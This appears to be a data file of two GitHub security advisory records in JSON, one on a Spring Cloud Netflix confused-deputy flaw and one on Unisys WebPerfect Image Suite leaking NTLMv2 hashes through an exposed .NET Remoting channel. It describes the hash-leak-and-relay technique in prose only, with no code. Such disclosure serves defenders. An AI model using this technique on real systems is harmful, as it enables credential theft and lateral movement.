  "id": "GHSA-qgcg-p3v2-9h4p",
  "modified": "2021-04-27T21:33:12Z",
  "published": "2021-04-30T17:29:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5412"
    },
    {
      "type": "WEB",
      "url": "https://tanzu.vmware.com/security/cve-2020-5412"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Externally Controlled Reference to a Resource in Another Sphere and Confused Deputy in Spring Cloud Netflix"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-39906"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-14T22:16:32Z",
    "severity": "HIGH"
  },
  "details": "Unisys WebPerfect Image Suite versions 3.0.3960.22810 and 3.0.3960.22604 expose a deprecated .NET Remoting TCP channel that allows remote unauthenticated attackers to leak NTLMv2 machine-account hashes by supplying a Windows UNC path as a target file argument through object-unmarshalling techniques. Attackers can capture the leaked NTLMv2 hash and relay it to other hosts to achieve privilege escalation or lateral movement depending on network configuration and patch level.",
  "id": "GHSA-qhm2-fwj3-3r79",
  "modified": "2026-05-06T15:32:32Z",
  "published": "2026-04-15T00:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39906"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/VAMorales/be3e4ed472c51794493c1256cce16129"
    },
    {
      "type": "WEB",
      "url": "https://www.unisys.com/solutions/cai/applications"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/unisys-webperfect-image-suite-ntlmv2-hash-leakage-via-net-remoting"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}